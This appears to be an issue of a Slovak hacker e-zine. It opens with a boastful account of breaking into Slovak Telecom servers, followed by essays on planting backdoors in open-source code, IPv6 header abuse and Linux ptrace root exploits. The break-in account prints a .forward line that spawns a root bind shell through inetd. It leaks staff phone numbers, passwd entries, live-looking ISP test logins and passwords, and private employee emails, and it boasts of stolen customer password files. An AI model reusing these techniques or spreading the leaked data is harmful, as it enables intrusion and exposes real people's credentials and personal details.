takze pod nasim uzivatelom sme si vytvorili v jeho home subor .forward s nasledovnym obsahom :))

|"/bin/echo "listen stream tcp nowait root /bin/sh sh" > /tmp/.h; /usr/sbin/inetd -s /tmp/.h"


a potom uz len stacilo poslat uzivatelovi ehmehm mail a:

telnet> Trying 195.146.132.10...
Connected to mail.telecom.sk.
Escape character is '^]'.
uname -a
SunOS logserver 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-30
ps -aAf
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 Apr 15 ? 0:00 sched
root 1 0 0 Apr 15 ? 0:27 /etc/init -
root 2 0 0 Apr 15 ? 0:00 pageout
root 3 0 0 Apr 15 ? 22:37 fsflush
root 320 1 0 Apr 15 ? 0:00 /usr/lib/saf/sac -t 300
root 396 1 0 Apr 15 console 0:00 /usr/lib/saf/ttymon -g -h -p logserver console login: -T sun -d /dev/console -
nobody 26131 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 53 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventd
root 55 1 0 Apr 15 ? 0:00 /usr/lib/sysevent/syseventconfd
nobody 29309 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 313 1 0 Apr 15 ? 5:48 /usr/local/bin/prngd /var/spool/prngd/pool
root 8494 1 0 Apr 23 ? 2:50 /usr/lib/sendmail -bd -q15m
root 186 1 0 Apr 15 ? 16:32 /usr/sbin/nscd
root 171 1 0 Apr 15 ? 65:06 /usr/sbin/syslogd
root 177 1 0 Apr 15 ? 0:38 /usr/sbin/cron
root 6275 1 0 Apr 30 ? 2:34 /usr/sbin/inetd -s
nobody 29306 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
root 310 1 0 Apr 15 ? 0:00 /usr/local/sbin/sshd
nobody 26241 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
oracle 241 1 0 Apr 15 ? 0:00 ora_pmon_cat
oracle 222 1 0 Apr 15 ? 0:02 /opt/oracle/app/oracle/product/8.0.5./bin/tnslsnr LISTENER -inherit
oracle 243 1 0 Apr 15 ? 0:00 ora_dbw0_cat
oracle 245 1 0 Apr 15 ? 0:00 ora_lgwr_cat
oracle 247 1 0 Apr 15 ? 4:56 ora_ckpt_cat
oracle 249 1 0 Apr 15 ? 0:04 ora_smon_cat
oracle 251 1 0 Apr 15 ? 0:00 ora_reco_cat
root 278 1 0 Apr 15 ? 0:00 /usr/lib/utmpd
mailman 13503 177 0 21:59:00 ? 0:00 sh -c /usr/local/bin/python -S /export/home/mailman/cron/qrunner
root 13522 13334 0 22:00:24 ? 0:00 ps -aAf
root 330 320 0 Apr 15 ? 0:00 /usr/lib/saf/ttymon
root 300 1 0 Apr 15 ? 0:01 /www/bin/httpd -DSSL
root 10751 13771 0 19:00:15 ? 0:00 /opt/rav/bin/ravmd
nobody 26132 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL
root 13480 8494 0 21:57:36 ? 0:00 /usr/lib/sendmail -bd -q15m
mailman 13504 13503 95 21:59:00 ? 1:21 /usr/local/bin/python -S /export/home/mailman/cron/qrunner
nobody 26129 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
nobody 28605 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
ravms 8619 1 0 Apr 16 ? 8:21 /opt/rav/bin/RAVMilter -d
root 13771 13770 0 Apr 16 ? 1:51 /opt/rav/bin/ravmd
nobody 29308 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL
root 13770 1 0 Apr 16 ? 0:00 /opt/rav/bin/ravmd
root 13509 8494 0 21:59:41 ? 0:00 /usr/lib/sendmail -bd -q15m
nobody 26133 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL


este nejaky ten ls :)

drwxr-xr-x 14 root root 512 Apr 30 13:01 .
drwxr-xr-x 4 root root 512 Mar 14 2002 ..
drwxr-xr-x 2 ciscops other 512 May 11 22:11 ciscops
drwxr-xr-x 3 rkaloc other 512 Jan 17 15:00 kaloc
drwxr-xr-x 4 katuska other 512 Feb 24 14:41 katuska
drwxr-xr-x 414 kocur other 20480 May 9 11:43 kocur
drwxr-xr-x 2 loboivan other 512 Mar 3 09:49 loboivan
drwx------ 2 root root 8192 Mar 12 2002 lost+found
lrwxrwxrwx 1 root other 12 Jun 6 2002 mailman -> /opt/mailman
drwxr-xr-x 20 maruniak other 1536 May 9 10:29 maruniak
drwxr-xr-x 3 moravcik other 512 Mar 1 12:19 moravcik
drwxr-xr-x 2 oracle dba 1024 May 10 23:50 oracle
drwxr-xr-x 3 oracle dba 512 Mar 14 2002 oramount01
drwxr-xr-x 2 root other 512 Nov 19 12:00 telecom
drwxr-xr-x 4 102 other 512 Nov 21 08:37 zarnovic

logserver je zaujimavy stroj z viacerych dovodov, nehladiac na to, ze sa tam ukladaju logy
z kazdeho cisca na sieti, sme prave tu nasli vela roznych backupov, takym prikladom je jeden
oracle dump:

root@smrad:/# du -hs telz.dmp.gz
127M telz.dmp.gz
root@smrad:/#

s tymto je hned spojena aj nova sluzba hysterky, najdete ju na http://hysteria.sk/zoznamst

dalsi velmi podstatny ulovok je backup z jedneho pravdepodobne "maleho bezvyznamneho" serveru

root@smrad:/# wc -l shadow
82091 shadow
root@smrad:/#

82091 uzivatelov, to je v celku dost na to aby to boli vsetci zakaznici teleko ropuchy
na Slovensku. A asi to tak bude (po par experimentoch s niektorymi kontami sa dobrodruhovia o tom presvedcili).
Zaujimalo by ma ci na toto telecom zareaguje a zacne menit vsetkym zakaznikom hesla :).

dalej uz len tak chaoticky napriklad telefonne cisla adminov (predpokladam :))




kocurmobil: 0903416913@sms.eurotel.sk
kalocmobil: 0903272631@sms.eurotel.sk
webmaster: gajdos,blazicek,marketing,vladimir.taraba@st.sk,emil.pastucha@st.sk
gdsmaster: kovesi,levicky
gdsprofimaster: gajdos,blazicek
mailmaster: kocur,katuska,maruniak
news-admin: news@news.telecom.sk
newsmaster: news@news.telecom.sk
hostmaster: katuska,maruniak
hostm-stonline: domeny,hotline,hornik,mbalog,janaslov,kracunov
postmaster: kocur,hornik
#alarm: puskajr
#cisco-bgp:md@bts.sk,koprda@bgs.sk,kollar@bgs.sk,haraslin@bgs.sk,smolen
stip: stip-l
webhousing: stip-l
vpdn: stip-l
infovek: hornikova@telecom.sk,katuska@telecom.sk,ivan.kemka@st.sk,juraj.kollarik@st.sk;roman.baranovic@infovek.sk
mate: 0905660262@sms.eurotel.sk
klaudia: klaudia@ns.telecom.sk
moravcik: moravcik,root@lx.telecom.sk
mail_add: "|/export/www/veci/telemail/mail_add.php3"
hornikova: hornik
jana.hornikova: hornik
balog: mbalog
sossms: 0903272636@sms.eurotel.sk

test-l: test-l@logserver.telecom.sk
test-l-admin: test-l-admin@logserver.telecom.sk
test-l-request: test-l-request@logserver.telecom.sk
test-l-owner: test-l-owner@logserver.telecom.sk

cisco-l: cisco-l@logserver.telecom.sk
cisco-l-admin: cisco-l-admin@logserver.telecom.sk
cisco-l-request: cisco-l-request@logserver.telecom.sk
cisco-l-owner: cisco-l-owner@logserver.telecom.sk

stadmin-l: stadmin-l@logserver.telecom.sk
stadmin-l-admin: stadmin-l-admin@logserver.telecom.sk
stadmin-l-request: stadmin-l-request@logserver.telecom.sk
stadmin-l-owner: stadmin-l-owner@logserver.telecom.sk

net-l: net-l@logserver.telecom.sk
net-l-admin: net-l-admin@logserver.telecom.sk
net-l-request: net-l-request@logserver.telecom.sk
net-l-owner: net-l-owner@logserver.telecom.sk

untech-l: untech-l@logserver.telecom.sk
untech-l-admin: untech-l-admin@logserver.telecom.sk
untech-l-request: untech-l-request@logserver.telecom.sk
untech-l-owner: untech-l-owner@logserver.telecom.sk

techgroup-l: techgroup-l@logserver.telecom.sk
techgroup-l-admin: techgroup-l-admin@logserver.telecom.sk
techgroup-l-request: techgroup-l-request@logserver.telecom.sk
techgroup-l-owner: techgroup-l-owner@logserver.telecom.sk

stip-l: stip-l@logserver.telecom.sk
stip-l-admin: stip-l-admin@logserver.telecom.sk
stip-l-request: stip-l-request@logserver.telecom.sk
stip-l-owner: stip-l-owner@logserver.telecom.sk

ak chcete zavolat adminom telecomu nech sa paci :)
dalsim takym zaujimavim fajlom je /etc/passwd (aj /etc/shadow ale ten si nechame radsej pre seba ;))



mihalek:x:1554:101:Mihalek Peter Ing.:/export/home/telecom/mihalek:/etc/dial-sh
babcanova:x:1555:101:Babcanova Jozefina Ing.:/export/home/telecom/babcanova:/etc/dial-sh
guran:x:1556:101:Guran Dezider Ing.:/export/home/telecom/guran:/etc/dial-sh
tibor.o:x:1566:101:Tibor Olejka:/export/home/telecom/tibor.o:/etc/dial-sh
smolen:x:1567:10:Magda Smolenova:/export/home/telecom/smolen:/bin/tcsh
ke:x:1568:101:Zosilovacka Kosice:/export/home/telecom/ke:/etc/dial-sh
tn:x:1569:101:Zosilovacka Trencin:/export/home/telecom/tn:/etc/dial-sh
po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
za:x:1575:101:Zosilovacka Zilina:/export/home/telecom/za:/etc/dial-sh
po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
christen:x:1579:101:RNDr. Christenko Sergej:/export/home/telecom/christen:/etc/dial-sh
kovacic:x:1580:101:Mgr. Kovacic, ved. odboru:/export/home/telecom/kovacic:/etc/dial-sh
gotzman:x:1581:101:Ing. Gotzman Jozef, ved. odboru:/export/home/telecom/gotzman:/etc/dial-sh
ambros:x:1584:101:Ing. Ambros Otomar, ved. odboru:/export/home/telecom/ambros:/etc/dial-sh
takac:x:1585:101:Ing. Takac Frantisek, ved. projektu:/export/home/telecom/takac:/etc/dial-sh
stancel:x:1586:101:Mgr. Stancel, Poradca g. r.:/export/home/telecom/stancel:/etc/dial-sh
simasek:x:1589:101:Ing. Simasek Lubomir, specialista:/export/home/telecom/simasek:/etc/dial-sh
himalaje:x:1626:101:Dezider Guran Ing., veduci odboru TIS:/export/home/telecom/himalaje:/etc/dial-sh
jurkov:x:1628:101:Jurkovic Marian Ing., CMSS Intranet, Extranet :/export/home/telecom/jurkov:/etc/dial-sh
frantise:x:1629:101:Dudik Frantisek Ing., Riaditel sekcie prevadzky, Ustredie:/export/home/telecom/frantise:/etc/dial-sh
kurz13:x:1631:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz13:/etc/dial-sh
kurz4:x:1632:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz4:/etc/dial-sh

/etc/dial-sh ktory ma vacsina userov ako shell vzyera takto:



#!/bin/sh

echo
echo "Zmena uzivatelskeho hesla"
echo "-------------------------"

/bin/passwd
exit

teta magda bude asi nejaky unix guru kedze ma ako shell nastaveny tcsh :))



Ocenitelne bolo ze sme si mohli sem tam pozriet do posty ludi pracujucich v ropuche,
niektore maily boli naozaj velmi zabavne, takze nasleduje dalsia rubrika




Napisali nam


From: stadmin-l@telecom.sk (JKatuska)
Date: Wed, 8 Jan 2003 09:22:33 +0100
Subject: nove test konta

Analog:
Login: ochranuj
Passwd: prirodu

ISDN:
Login: trpezlivo
Passwd: cakaj

|Jano|

testovacie konta sa mozu vzdy hodit (skoda ze sa menia priblizne kazdy mesiac)
no vlastne ono to ani taka skoda nie je kedze si ich kazdy mesiac pekne poslu mailom :)



Preco si vyletnikov v sieti telecomu nikto nevsima ? (verim ze nasi vyletnici neboli
prvi ani posledni kto objavoval telecom ako kolumbus ameriku). Mozno je to adminmi,
ale z nasledujuceho mailu skor vypliva ze je to niecim inym, teda k tomu kto
sa stara o tuto "najvacsiu, najmodernejsiu, najrobustnejsiu,..blabla" siet, pravdepodobne
prispieva to aky je pristup tych co sa staraju o to aby sa tocili financie. Oni sa asi aj
tocia (urcite) ale z tohoto je dost jasne ze sa tocia smermy roznymi ale urcite nie tymi
ktorymi by to bolo najvhodnejsie.



tu je jeden mail ktory vela vysvetluje, preco to v tejto spolocnosti vlastne je,
tak ako to je:



From: stadmin-l@telecom.sk (Peter Maruniak)
Date: Wed, 08 Jan 2003 13:52:34 +0100
Subject: vypoved
In-Reply-To: <5.1.0.14.2.20021225085602.0343e758@mail.telecom.sk>

> dobry den
> vzladom k skutocnostiam vyvoja nasej spolocnosti,
> medziludskych vztahov a k
> nedostatocnemu financnemu ohodnoteniu mojej osoby som sa rozhodol dat
> vypoved z tejto spolocnosti. dovodov je podstatne viac ale k
> definitivnemu
> rozhodnutiu ma prinutilo az vzhliadnutie novembrovej vyplaty
> v decembri.
> dalej by som rad spomenul ludi, ktori neustale zasahuju do
> mojej prace a do
> prace celeho timu internetistov, a za svoje rozhodnutia
> nenesu ziadnu
> zodpovednost /dufam, ze sa v tomto maily spoznaju..../ a vedu tuto
> spolocnost nevedno kam. v spolocnosti sa vynakladaju obrovske
> prostriedky
> na reklamne kampane, na nezmyselne projekty urcitych
> lobistickych skupin, a
> nezmyselne akcie ludskych zdrojov. tato spolocnost si nevie
> udrzat mladych
> perspektivnych zamestnancov, nevie ohodnotit ich pracu a dat
> im perspektivu
> do buducnosti. ak si niekto v tejto spolocnosti predstavuje
> buducnost ako
> marketingovu spolocnost bez prevadzky a ludi ktory
> zabezpecuju fungovanie
> tejto spolocnosti /vid. nazory na outsourcing/ tak je
> optimista, ktoreho z
> jeho sna preberie az skutocna realita. doteraz ma v tejto spolocnosti
> drzali len cast internetoveho timu a cely tim odboru OPUS na cele s
> ing.Caneckym, ktorym sa tymto sposobom chcem ospravedlnit za
> moj odchod a
> podakovat im za spolupracu.
>
> s pozdravom
>
> michal kaprinay

S tymito nazormi musim len suhlasit, sam by som to lepsie nenapisal.

Peter Maruniak

ak si niekto mysli, ze je drze bezohladne a neviem ake zverejnovat maily niektorych ludi
tak argumentujeme tym ze je este viac drze a bezohladne brat od zakaznikov take peniaze
ako ropucha berie a absolutne ignorovat stabilitu/bezpecnost/kvalitu sluzieb a vsetko
vrazat len to absolutne stupidnych a primitivnych reklamnych plagatov/spotov a lobistickych
skupin ? O tych bohuzial nasi smrtelnici vela nevedia takze sa k nim vyjadrit nemozu.



Spat do "reality"



v teleko ropuche pracuju evidentne aj zdatni coderi, ktory tvrdo odvadzaju
svoju pracu, ako mzome vidiet z casti kodu jedneho zo zamestnancov,
vzorovy priklad velmi zlozitej implementacie este zlozitejsieho algoritmu
sme mohli najst... to sim to bol homedir uja kocura (ale to si uz nikto nepamata)




testc.c:
main()
{
printf("Hello world.n");
}

muselo to dat vela namahy nieco take nacodit.



na logserver.telecom.sk sme nasli aj taketo veci
vystup ls:



-rwxrwxrwx 1 root root 54 Mar 15 2002 sel
-rwxrwxrwx 1 root root 18382 Mar 15 2002 serv.php3
-rwxrwxrwx 1 root root 18497 Mar 15 2002 serv.php3~
-rwxrwxrwx 1 root root 11315 Mar 15 2002 serv.php3~~
-rwxrwxrwx 1 root root 1364 Mar 15 2002 servis.html
-rwxrwxrwx 1 root root 1322 Mar 15 2002 servis.html~
-rwxrwxrwx 1 root root 15614 Mar 15 2002 sprs.php3
-rwxrwxrwx 1 root root 15605 Mar 15 2002 sprs.php3~
-rwxrwxrwx 1 root root 8186 Mar 15 2002 sprszal.php3
-rwxrwxrwx 1 root root 111 Mar 15 2002 stri.php3
-rwxrwxrwx 1 root root 106 Mar 15 2002 stri.php3~
-rwxrwxrwx 1 root root 384 Mar 15 2002 u.php3
-rwxrwxrwx 1 root root 382 Mar 15 2002 u.php3~
-rwxrwxrwx 1 root root 2262 Mar 15 2002 upnas.php3

world writeble php skripty...
to hovori same za seba.




Je uplne jasne ze ludia v telecome sa riadia svojimi reklamnymi sloganmi, ako napriklad
"Dostante sa rychlo vsade tam, kam potrebujete" - u telecomu to plati dvojnasobne.
Len dostavat sa vsade tam kam potrebujete u niekoho kto prevadzkuje napriklad
linky VUBcky. A este by radi prevadzkovali govnet ? HA - HA - HA. Uz vidim ako sa osobne
udaje kazdeho cloveka na slovensku lezia kade tade na diskoch najroznejsich ludoch z celeho sveta.



Zaver


co dodat na zaver ? neviem ci treba este nieco dodavat, ten zaver je tu skor len aby bol :)
Pravdepodobne sa v tejto organizacii tak skoro nic nezmeni a stale to bude tak ako je a vsade
sa budu pouzivat uzivatelia typu jozko a k tomu hesla jozko123. Ale cele to predsa nie je len
o heslach. Je velmi smutne ze firma ktora sa chce tvarit profesionalne (aj ked z tej primitivnej
reklamy vela profesionalnosti nepozera, ale traba brat ohlad aj na to na akom sme trhu... slovensky
obcan ma reklamu taku aku je schopny vo vacsine stravit, ale spat k tomu smutku :) este raz hovorim
ze je smutne ze si niekto rok nevsimne ze ma niekto uplny pristup do jeho velkej siete. A vyletnici
robili uz taky bordel okolo seba ze by si to vsimol aj hluchy a slepy admin. Robia v tom telecome
vobec nejaki admini ? Alebo proste o tom vedeli a nechali to tak aby niekomu nieco dokazali ?
Mozno pride od niekoho vysvetlenie ale skor nie. Obraz si urobi kazdy sam.





a na uplny zaver mala bajka:




bajka o ropuche a volovi.
bola raz jedna ropucha a jeden vol. ropucha chcela byt taka velka ako ten vol,
tak sa nafukla az praskla



tr1uh0rky, tr1uh0rky(at)hysteria.sk





navrat na obsah

co ty na to ? board






Project chaos




aj vas fascinuju zaporaci vo filmoch, ktori maju vzdy genialny napad
ako nastolit na nasej peknej modro-zelenej (coskoro cierno-sedej) planete
totalny chaos? na realizaciu ich planov treba obycajne dobre zazemie
(minimalne nejaky opusteny ranc), kontakty smerom na tranzsibirsku magistralu
a hodne prachov. mna napadli dva sposoby, ktore su mozno utopiou - tak ako
v spominanych filmoch [a mozno aj nie :-)], ale co ak predsa..




g@@gle nas kamarat




pekne sa priznajte, co spravite ked narazite na problem ktory uz neviete ako
riesit [mozno uz aj po par bezsennych nociach]. ked si odmyslim, ze najprv
vo vas prevladne duch lamera a spytate sa kamarata [zopar takych teepkov, co
vysia na irc a rozdavaju svoje advanced vedomosti bars komu poznam] tak
dalsi logicky krok je navstivit oblubeny vyhladavac [google, ze? :)]. no vy
tam natukate pekne co hladate, google vam vypluje pekne zoradene odpovede,
kde zvycajne je to co hladate medzi prvymi linkami [predpokladam, ze viete
v pohode formulovat dotaz]. pekne nam to funguje, co? niekedy mam taky
pocit, ze keby sa predaval divajs, ktory by bol velkosti naramkovych
hodiniek a mal by v sebe celu databazu google, aj s nacacheovanymi
strankami, tak by nam bolo hej :-) [kazdopadne mam z dobreho zdroja, ze
google nieco take predava ako box do intranetu firmy [len to asi nieje velke
ako naramkove hodinky:-))]]. no dobre, podme ale k veci. o tom pomocou akych
pravidiel si vyhladavace ukladaju a hodnotia jednotlive stranky v databazach
sa rozpisovat nebudem, ale predstavte si, ze dokazate stranku na vlastnom
servri prepracovat na prve miesto googlovskej odpovede na nejaky dotaz
[najlepsie konkretny :-)] po lopate - natukam do google "linux repair
filesystem" a na prvom mieste bude stranka, ktora bude suverenne tvrdit nieco
na sposob "At first, you have to run mkfs [/DEV/DEVICE], then...". No pre
tych, co si myslia ze by to nezabralo mozu kludne rozpisat prikaz mkfs ako
"Make checK File System", fantazii sa medze nekladu :)
Ono sranda je jedna vec, ale co takto troska prachov? Ked dokazete dostat
stranky niekoho firmy opat na prve miesto odpovedi pri hladani danej sluzby,
nemusi to byt vobec na skodu ;-)




"developeri"



ludia by sa castokrat cudovali, kto im vyvyja casti ich open source kodu. ci
uz su to teepci na intrakoch, bradati oldsk00leri, alebo nejaki dalsi
nahodni debian intelektuali zo zimbabwe, mavaju jedno spolocne. ich geek
faktor je dostatocne vysoky na to, ze su tak zamerani na samotny vyvoj,
ze castokrat zabudaju na to v akom stave maju svoje workstejsny. co tam po
nich - myslia si, veriac, ze linuxove jadro 2.0.20 s ipfwadm vsetko vyriesi.
len problem je v tom, ked zabudnu na to, ze kedysi nechali pustene ftp koli
tomu aby im tam niekto uploadol nejaky fasa patch na recode alebo ine
zverstvo. jednoducho dostat sa takymto developerom na masinu by nemusel byt
az taky problem. nasleduje troska zlozitejsia cast - zanalyzovat styl akym
je pisana aplikacia ktoru vyvyjaju, a vlozit do nej nenapadne vyzerajucu
cast vlastneho evil kodu a tvarit sa ze sa nic nedeje. toto je taka dost
zlozita cesta, ale mohla by zafungovat, kazdopadne skor, ci neskor na to
niekto pride. v praxi sme mohli vidiet veci, ako patchnuty BitchX irc
klient, alebo dokonca open-ssh a podobne. jednalo sa o jednoduchych
trojanov, ktorych autori sa nespoliehali na to ze to tam dlho vydrzi
a preto nechali trojana aktivovat uz pri instalacii - a preto bol ten trojan
tak rychlo objaveny.
pokial si ale myslite ze ste dost evil, tak skuste sa
zamontovat do diskusii na roznych konferach, newsoch, irci a ked mate dobry
plan, mozte ich skusit presvedcit o tom, ze nejaku cast kodu, alebo
principialne fungovanie aplikacie robia zlym sposobom. no a mozno sa vam
podari ich presvedcit na nejaky obdobne dobry system, ktory ale bude mat len
vam znamu nenapadnu chybicku navrhu. tu si treba uvedomit, ze rozdiely medzi
bugmi a featurami su castokrat velmi malicke ;-) v praxi sme mohli vidiet
zle navrhnute protokoly uz dost casto, netvrdim, ze umyselne, ale to sa uz
nikto nedozvie ;-))




ip_v6



ked sme uz pri tych featurach neda mi nespomenut v6. je to pekny protokol,
ktory je ale na moj vkus az moc flexibilny. no ale ako to uz tak chodi, cim
flexibilnejsi sa snazime byt, tym viac chyb sa narobi.. neskusal som zatial
stacky OS na durabilitu voci roznym utokom, ale mozte si byt isti, ze pokial
pri ipv4 existovali zle implementovane niektore zlozitejsie veci
(fragmentacia, broadcast a podobne) tak u ipv6 to bude este zaujimavejsie.
pri tolkych featurach to bude pre implementatorov pohroma. ved ked tak
pozeram na vyvoj, tak je castokrat problem vobec spravne pochopit a
implementovat RFC a nie to este osetrit nepopisane stavy :))
pri studiu v6 som si vypisal zopar zaujimavych poznamok, pre tych ktori uz
zabrdli do ipv6 mozno nic nove, pre ostatnych ostava pockat na clanok o
ipv6, alebo navstivit g@@gle ;-)



    59-hlavy drak

    ipv6 ma zaujimavu moznost zretazenia hlaviciek. principialne je

    jedno kolko ich je za sebou nasukanych, pretoze niesu cislovane,

    jediny sposob ako sa za seba viazu, je vyhradena cast v hlavicke,

    ktora hovori o tom aka hlavicka bude nasledovat. hodnoty/oznacenia

    jednotlivych hlaviciek tu rozpisovat nechcem, ale hodnota 59 znaci,

    ze sa jedna o poslednu hlavicku a ak dlzka datagramu uvedena v

    hlavicke je vacsia ako by mala byt, vsetky dalsie data

    musia byt ignorovane a nezmenene poslane dalej.

    to ze nam tento mily protokol dovoluje prenasat data, ktore nebudu

    nicim a nikym kontrolovane, ale budu posielane dalej je v celku

    fascinujuce, nie? ked si odmyslim, ze svoju osobu po digitalnej

    transformacii budem pripajat za rozne packety a cestovat po celom

    nete len tak hore-dole, alebo ze budem posielat za vsetkymi mojimi

    packetmi este reklamu na cigarety a kavu, ktoru uvidia len admini,

    ktori zrovna nieco riesia s tcpdumpom, ostava vcelku zaujimave

    vyuzitie pre skryty prenos dat a ... kam az fantazia DoSerov ciaha :)



    alert

    vtipna volba routeralert v hlavicke packetu signalizuje, ze jeho

    obsah je zarucene zaujimavy pre kazdy router ktorym tento packet

    prejde. co ak si to ale mysli len ten kto takyto packet vygeneruje?

    no a co v pripade, ze ich zhodou okolnosti vygeneruje tak 30 tisic

    za sekundu? router sa bude snazit precitat vsetky tieto leninove

    spisy, ale pri takom floode ho to najskor polozi..



    turisticka mapa

    podobne ako v ipv4 mozme aj v ipv6 pouzit obdobu source-routingu. tu

    sa to vola routing-header. zaujimava featura je to, ze nemusia byt

    povinne uvedene vsetky hopy. cize ak nepoznate strukturu nejakeho

    intranetu a aj napriek tomu by ste radi kontaktovali nejaky host vo

    vnutri, staci uviest cestu po gateway pre dany intranet a cestu

    vramci neho nechat uz na routroch vo vnutri. samozrejme najprv treba

    svoje packety pretlacit cez pominanu gw, ale to uz je ina story.

    kazdopadne je tu este jedna dalsia featura, ktorej implementacia

    moze byt celkom zaujimava. jedna sa o sposob, ktorym sa uvadza kolko

    hopov este bude v tabulke hopov uvedenych, je to a) dlzka routing

    hlavicky (max 263 bajtov) a pocet ostavajucich hopov (max 255).

    co sa stane ked skonci hlavicka a mali by nasledovat dalsie hopy,

    to zistime az pri testovani roznych implementacii..



takze nech sa paci, pokial sa vam bude zdat ze niektora implementacia nema
pre vas vhodne featury, staci joinnut development team a submitnut par
patchov. ved kto dnes vlastne rozozna featuru od bugu? :)




maniac, maniac(at)hysteria.sk




navrat na obsah

co ty na to ? board






co to vlastne je ten 'opensource'




v dnesnim dile delani ruznych spatnosti se podivame na ten software
zhusta uzivany cinskymi teroristy, nekdy tez zvany 'opensource'.



opensource je hrozne fajn vec, umoznuje nam delat takrka vse s nulovymi
naklady a kdyz se nam neco nelibi, zpravidla to nekdo opravi, kdyz budeme
hodne kricet a spamovat zainteresovane maillisty dostatecne dlouho.



co je mene znamo je maly bug, nebo lepe receno featura OS vyplyvajici
z toho co uz sem tu rek - totiz ze v pripade mnoha projektu ma kdokoli
moznost prispet svym kouskem do celeho toho chaosu vyvijiciho se monstra.
a v tom to, vazeni pani a damove, je. je to neco jako world-writable (+w)
skript v /tmp kterej pousti root user...




inu, o co tedy jde.




rekneme ze tu existuje nejaky soft kterej pouziva pulka zemekoule, rekneme
treba linux kernel. kdokoliv, komu se zamane, muze submitnout nejakou featuru
a kdyz bude pro ni dostatecnej ohlas (neni problem si takovej ohlas, v podobe
sebe-pochvalnych mailu do LKML, vytvorit :), velice pravdepodobne se objevi v
dalsim releasu. sranda ovsem nastava v momente kdy umysly autora nebyly zase
tak uplne cestne a implementoval do patche treba i maly, ale zpravidla
komplikovany a na prvni pohled neviditelny, bug. takovy bug nemuze a ani
nesmi byt neco trivialniho, jinak ho samozrejme zmerci maintaineri. takze
zadne bufferoverfly, to je dneska pro deti. spis takove negativni reference
do pole, logicke a race chyby (musi se sejit nekolik podminek v jednom casovem
okamziku aby se dany bug projevil) - v takovem pripade je opravdu velice tezke
chybu odhalit protoze clovek si musi projit vsechny moznosti jemiz algoritmus muze
projit - samozrejme ze autor vi jak dane chyby zneuzit a take to udela, proc
by ji jinak vytvarel :)



ze se toto nemuze stat ? ze project-maintaneri jsou opatrni a prohlizeji
si vsechny submitnute patche radku po radce ? ale kus!



tak co treba takovy linux kernel a jeho (ne)chvalne proslaveny ptrace ?
z poctu zpusobu jak ptracem dostat roota na kernelu 2.2.16 (existuji zde
3 ruzne fungujici ptrace bugy + exploity) mi vazne pripada ze zpusobu
jak je ptrace v linuxu udelany byl nejaky skryty zamer, ma vsechny
atributy vneseneho backdooru - je velmi dobre skryty a ve vsech pripadech se
projevuje jen jako race condition, pokazde jineho charakteru ale vzdy
vyplyvajici z chybne implementace.



jenom nutne seznameni v cem je problem u ptrace:
kdokoliv na systemu lokalne muze "attachnout" bezici process
jehoz je owner (i.e. uid "atakovaneho" procesu je stejne jako
uid tracera, stejne tak pro gid a equivalenty euid, fsuid atd)
v momente kdy mas attachnuty proces, muzes si snim delat co chces
i kdyz se jeho uid zmenilo (tj. treba zapsat do nej shellcode ktery
se spusti)



aby bylo jasno, tak na uvod mala historie ptrace bugu na linuxu:




ptrace #1 (found by cliph, '98)




vychazel z velice primitivniho predpokladu jak fungoval execve()
na linuxech < 2.2.19 pri davani prav procesu suid binarky.
execve() checkoval (kdyz se spoustela suid binarka) jestli proces v
kterem execuje neni trasovan nekym kym by trasovan byt nemel, a delal
to hned na zacatku spousteciho procesu. _na konci_ a to je dulezite,
teprv hodil procesu prava jestli se spustila suid binarka. takze pokud
byl proces trasovan pred execve() vsecko v poradku, pokud nekdo skusil
attach po execve() taky v poradku ponevadz uid se zmenilo. *ale* co kdyz
nekdo attachnul uprostred execve() (nejlepe to jde zrovna ve chvili kdy
disk nacita prvni stranku binarky, takze kernel "spi" v execve()). inu,
check na ptrace byl negativni, ale nyni nam "attach" vysel, protoze
execve() jeste nezmenil uid. takze jsme attachnuty k procesu, execve()
se probudi a da procesu uid suid binarky (zpravidla root). no ale i tak
mame proces stale pod kontrolou, takze tam jenom vlozime shellcode a jedem.



zpusob jakym se tato race case fixla taky neni uplne cisty:
na konci, kdy se predavaji prava se proces lockne (takze nemuze byt attachnuty)
zkontroluje se pritomnost ptrace flagu, pokud to nekdo pred tim attachnul
prava se nepredaji. tato featura samozrejme vyustila v jiny bug, sice uz ne tak
skodlivy, ale i tak (kdysi davno tim spousta lidi, vcetne me, cheatovala
hackerslab :), totiz to ze kdokoliv muze "dump"-nout pres ptrace exec-only
(a klidne i suid) binarku.




ptrace #2 (found by nergal, '01)




je uz o neco slozitejsi, graficky by se to znazornilo takto:



rekneme ze mame 2 rovnopravne procesy, z pocatku neprivilegovane.




cas prvni proces druhy proces
0 ptrace(PTRACE_ATTACH, pid druheho procesu)
1 execve /usr/bin/newgrp
2 execve /usr/bin/passwd
3 execve /bin/sh (to udela newgrp)
4 execve ./insert_shellcode_to_process_2


takze co se deje. tento bug je velice elegantni a vyzaduje (jakoukoliv)
setuid binarku ktera pobezi chvili jako root, ale pak spusti user shell.
(to dela treba newgrp, su, screen ...). v prvni chvili prvni proces
attachne druhy proces, cimz se stava jeho parentem (tracer je vzdy parent
tracovaneho). pak si tento proces na chvili "zabere" root prava tim ze spusti
hocijakou suid binarku ktera pozdeji jenom hodi user shell. druhy proces ktery
do teto chvile spal se probudi a jenom spusti jakoukoliv suid binarku. normalne
by to neslo, protoze kernel by videl: aa, sem tracovanej a nekdo pousti suid
binarku, tak to mu neprojde, *jenze* zde existovala vyjimka, a to predpoklad
ze kdyz je parent uid == setuid binarky, je logicky vse v poradku (tj. aby
slo hladce trasovat dropnuti prav a pak jejich znovunabyti pres execve),
inu, takze execve projde, kernel spi v /usr/bin/passwd ktery hodil prompt na
password. vzbudi se proces jedna (tj. newgrp) a spusti klasicky userovo shell.
